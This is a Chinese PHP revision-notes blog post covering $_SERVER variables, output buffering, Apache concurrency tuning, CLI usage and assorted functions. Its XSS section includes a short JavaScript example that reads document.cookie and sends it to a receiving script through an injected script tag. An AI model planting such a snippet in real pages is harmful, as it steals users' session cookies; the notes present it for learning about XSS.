您的位置 首页 php

PHP系统复习笔记(九)时间函数、SERVER、缓存、并发、XSS等

PHP系统复习笔记


目录索引

PHP复习笔记(一) 基础篇

PHP复习笔记(二) 基础篇二

PHP复习笔记(三) 基础篇三

PHP复习笔记(四) 数组、函数篇、指针篇

PHP复习笔记(五) 数组操作、类篇(重点!)篇!

PHP复习笔记(六) SESSION、COOKIE、画布篇

PHP复习笔记(七)编码、字符串、类型转换篇

PHP系统复习笔记(八)之MYSQL相关函数,注意点!


第九天复习笔记

/* Date/Time */

/* $_SERVER */

//示例URL:

PHP_SELF 当前执行脚本的文件名 // /dir/demo.php

GATEWAY_INTERFACE 服务器使用的CGI规范的版本 // CGI/1.1

SERVER_ADDR 当前运行脚本所在的服务器的IP地址 // 127.0.0.1

SERVER_NAME 当前运行脚本所在的服务器的主机名 // desktop

SERVER_SOFTWARE 服务器标识字符串 // Apache /2.2.22 (Win32) PHP/5.3.13

SERVER_PROTOCOL 请求页面时通信协议的名称和版本 // HTTP/1.1

REQUEST_METHOD 访问页面使用的请求方式 // GET

REQUEST_TIME 请求开始时的时间戳 // 1386032633

QUERY_STRING 查询字符串(参数) // a=aaa&b=bbb

document _ROOT 当前运行脚本所在的文档根目录 // C:/ Users /Administrator/Desktop

HTTP_ACCEPT 当前请求头中Accept:项的内容 // text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

HTTP_ACCEPT_CHARSET 当前请求头中Accept-Charset:项的内容 // UTF-8,*

HTTP_ACCEPT_ENCODING 当前请求头中Accept-Encoding:项的内容 // gzip, deflate

HTTP_ACCEPT_LANGUAGE 当前请求头中Accept-Language:项的内容 // zh-cn,zh;q=0.5

HTTP_CONNECTION 当前请求头中Connection:项的内容 // keep-alive

HTTP_HOST 当前请求头中Host:项的内容 // desktop

HTTP_REFERER 引导用户代理到当前页的前一页的地址

HTTP_USER_AGENT 当前请求头中User-Agent:项的内容 // Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1

HTTPS 如果脚本是通过HTTPS协议被访问,则被设为一个非空的值

REMOTE_ADDR 浏览当前页面的用户的IP地址 // 127.0.0.1

REMOTE_HOST 浏览当前页面的用户的主机名

REMOTE_PORT 用户机器上连接到Web服务器所使用的端口号 // 49197

REMOTE_USER 经验证的用户

REDIRECT_REMOTE_USER 验证的用户,如果请求已在内部重定向

script _FILENAME 当前执行脚本的绝对路径 // C:/Users/Administrator/Desktop/dir/demo.php

SERVER_ADMIN 该值指明了Apache服务器配置文件中的SERVER_ADMIN参数 //admin@shocker.com

SERVER_PORT Web服务器使用的端口 // 80

SERVER_SIGNATURE 包含了服务器版本和虚拟主机名的字符串

PATH_TRANSLATED 当前脚本所在文件系统(非文档根目录)的基本路径

SCRIPT_NAME 当前脚本的路径 // /dir/demo.php

REQUEST_URI URI用来指定要访问的页面 // /dir/demo.php?a=aaa&b=bbb

PHP_AUTH_DIGEST 客户端发送的“Authorization” HTTP头内容

PHP_AUTH_PW 用户输入的密码

AUTH_TYPE 认证的类型

PATH_INFO 包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息

ORIG_PATH_INFO 在被PHP处理之前,“PATH_INFO”的原始版本

/* 缓存 */

1. ob缓存(输出缓存)(需开启)

php.ini设置中开启并设置输出缓存大小:output_buffering = 4096

ob_start() 开启当前脚本页面的输出缓存

如果输出缓存打开,则输出的数据先放到输出缓存(header函数前可以有输出),否则直接放入程序缓存。

header()函数发送的内容直接放入程序缓存。

开启输出缓存后,输出缓存数据会刷新到程序缓存,然后有Apache封装成http响应包返回给浏览器。

输出缓存:存放的数据是从开启输出缓存开始返回给浏览器的所有静态页面数据!

2. 程序缓存(内部缓存,必须存在,不能关闭)

3. 浏览器缓存

/* ob缓存(输出控制) */ Output Buffering

ob_start() //打开一个输出缓冲区,所有的输出信息不再直接发送到浏览器,而是保存在输出缓冲区里面。

ob_start(‘ob_gzhandler’); //将gz编码的数据发送到支持压缩页面的浏览器

ob_clean(); //删除内部缓冲区的内容,不关闭缓冲区(不输出)。

ob_end_clean(); //删除内部缓冲区的内容,关闭缓冲区(不输出)。

ob_get_clean(); //返回内部缓冲区的内容,关闭缓冲区。相当于执行ob_get_contents()与ob_end_clean()

ob_flush(); //发送内部缓冲区的内容到浏览器,删除缓冲区的内容,不关闭缓冲区。

ob_end_flush(); //发送内部缓冲区的内容到浏览器,删除缓冲区的内容,关闭缓冲区。

ob_get_flush(); //返回内部缓冲区的内容,并关闭缓冲区,再释放缓冲区的内容。相当于ob_end_flush()并返回缓冲区内容。

flush(); //将当前为止程序的所有输出发送到用户的浏览器

ob_get_contents(); //返回缓冲区的内容,不输出。

ob_get_length(); //返回内部缓冲区的长度,如果缓冲区未被激活,该函数返回FALSE。

ob_get_level(); //Return the nesting level of the output buffering mechanism.

ob_get_status(); //获取ob状态信息

ob_implicit_flush(); //打开或关闭绝对刷新,默认为关闭,打开后ob_implicit_flush(true),所谓绝对刷新,即当有输出语句(e.g: echo)被执行时,便把输出直接发送到浏览器,而不再需要调用flush()或等到脚本结束时才输出。

ob_gzhandler //ob_start回调函数,用gzip压缩缓冲区的内容。

ob_list_handlers //List all output handlers in use

output_add_rewrite_var //Add URL rewriter values

output_reset_rewrite_vars //Reset URL rewriter values

这些函数的行为受php_ini设置的影响:

output_buffering //该值为ON时,将在所有脚本中使用输出控制;若该值为一个数字,则代表缓冲区的最大字节限制,当缓存内容达到该上限时将会自动向浏览器输出当前的缓冲区里的内容。

output_handler //该选项可将脚本所有的输出,重定向到一个函数。例如,将 output_handler 设置为 mb_output_handler() 时,字符的编码将被修改为指定的编码。设置的任何处理函数,将自动的处理输出缓冲。

implicit_flush //作用同ob_implicit_flush,默认为Off。

//ob缓存作用

1)防止在浏览器有输出之后再使用setcookie()、header()或session_start()等发送头文件的函数造成的错误。其实这样的用法少用为好,养成良好的代码习惯。

2)捕捉对一些不可获取的函数的输出,比如phpinfo()会输出一大堆的HTML,但是我们无法用一个变量例如$info=phpinfo();来捕捉,这时候ob就管用了。

3)对输出的内容进行处理,例如进行gzip压缩,例如进行简繁转换,例如进行一些字符串替换。

4)生成静态文件,其实就是捕捉整页的输出,然后存成文件。经常在生成HTML,或者整页缓存中使用。

/* 网站并发 */

测试工具:apache/bin/ab.exe

用法:cmd{%apache-bin%}>ab.exe -n 执行访问次数 -c 用户并发数量 URL地址

MPM(多路处理模块):perfork(预处理模式), worker(工作者模式), winnt(Win系统)

MPM配置:httpd-mpm.conf

查看当前MPM模式:httpd –l mpm_xxx.c中xxx表示当前模式类型

httpd.conf配置(开启MPM):#Include conf/extra/httpd-mpm.conf

#参考配置

#配置文件:extra/httpd-mpm.conf

#mpm_winnt.c

<IfModule mpm_winnt_module>

ThreadsPerChild 1000 #中型网站1500-5500合理

MaxRequestsPerChild 0

</IfModule>

#mpm_prefork.c

<IfModule mpm_prefork_module>

StartServers 5 #预先启动

MinSpareServers 5

MaxSpareServers 10 #最大空闲进程

ServerLimit 1500 #用于修改apache编程参数

MaxClients 1000 #最大并发数

MaxRequestsPerChild 0 #一个进程对应的线程数,对worker更用

</IfModule>

#如果你的网站pv值上百万

ServerLimit 2500 #用于修改apache编程参数

MaxClients 2000 #最大并发数

/* 静态化 */

1. 页面URL长度不超过255字节

2. meta信息尽量完整,keywords5个左右

3. 前端不要使用框架

4. 图片alt属性添加信息

5. 静态页面不要带动态值

<script type=”text/javascript” language=”javascript” src=”url”></script>

url可以是js/php/图片等,返回的数据替换<script>标签所在位置的内容!相当于简单的Ajax

/* Apache压缩 */

gzip/deflate

/* XSS攻击 */

#恶意JS代码

#不规则HTML代码

开源过滤器:htmlpurifier

//获取COOKIE

<script>

var c = document.cookie; //获取COOKIE

var script = document.createElement(‘script’); //创建script标签

script.src = ‘demo.php?c=’ + c; //发送到指定的文件接收

document.body.appendChild(script); //添加到DOM对象中生效

</script>

/* 命令行CLI */

//显示帮助信息

php -h

//解析并运行-f选项给定的文件名

php [-f] <file> [–] [args…]

//在命令行内运行单行PHP代码

php [options] -r <code> [–] [args…]

无需加上PHP的起始和结束标识符,否则将会导致语法解析错误

//调用phpinfo()函数并显示出结果

php -i/–info

//检查PHP语法

php -l/–syntax-check

//打印出内置以及已加载的PHP及Zend模块

php -m/–modules

//将PHP,PHP SAPI和Zend的版本信息写入标准输出

php -v/–version

//参数接收

$argv 传递给脚本的参数数组

第一个参数总是当前脚本的文件名,因此$argv[0]就是脚本文件名

$argc 传递给脚本的参数数目

脚本的文件名总是作为参数传递给当前脚本,因此$argc的最小值为1

包含当运行于命令行下时传递给当前脚本的参数的数组

此两个变量仅在register_argc_argv打开时可用

/* 设计模式 */

单例模式:为一个类生成一个唯一的对象。使用单例模式生成一个对象后,该对象可以被其它众多对象所使用。

工厂模式:封装对象的建立过程。可以在对象本身创建对象工厂或者是一个额外的工厂类

MVC模式:用户->控制器->模型->控制器->视图->控制器->用户

/* 配置选项 */

set_time_limit($seconds) //设置脚本最大执行时间(默认30秒),0表示不限制

ini_get($varname) //获取一个配置选项的值

ini_set($varname, $newvalue) //为一个配置选项设置值

extension_loaded($ext_name) //检测一个扩展是否已经加载

get_extension_funcs($ext_name) //返回模块函数名的数组

/* 【其他】 */

version_compare(str $ver1, str $ver2 [,str $ operator ]) //比较版本号

$operator表示操作符,可选:<, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne

如果省略$operator,返回两个版本号的差值。

符号@ 用于抑制系统运行错误的报告显示

memory_get_usage //获取当期内存使用情况

memory_get_peak_usage //获取内存使用的峰值

getrusage //获取CPU使用情况(Windows不可用)

uniqid([$prefix]) //获取一个带前缀、基于当前时间微秒数的唯一ID

highlight_string($str [,$return]) //字符串的语法高亮

$return:设置为TRUE,高亮后的代码不会被打印输出,而是以字符串的形式返回。高亮成功返回TRUE,否则返回FALSE。

highlight_file($file [,$return]) //语法高亮一个文件

__halt_compiler //中断编译器的执行

get_browser //获取浏览器具有的功能

get_browser ([ string $user_agent [, bool $return_array = false ]] )

如果设置为 TRUE,该函数会返回一个 array,而不是 object

eval($code) //把字符串作为PHP代码执行

gzcompress($str [,$level=-1]) //压缩字符串

gzuncompress($str) //解压缩字符串

gzencode($str [,$level=-1]) //压缩字符串

gzdecode($str) //解压缩字符串

ignore_user_abort($bool) //设置客户端断开连接时是否中断脚本的执行

文章来源:智云一二三科技

文章标题:PHP系统复习笔记(九)时间函数、SERVER、缓存、并发、XSS等

文章地址:https://www.zhihuclub.com/77215.shtml

关于作者: 智云科技

热门文章

网站地图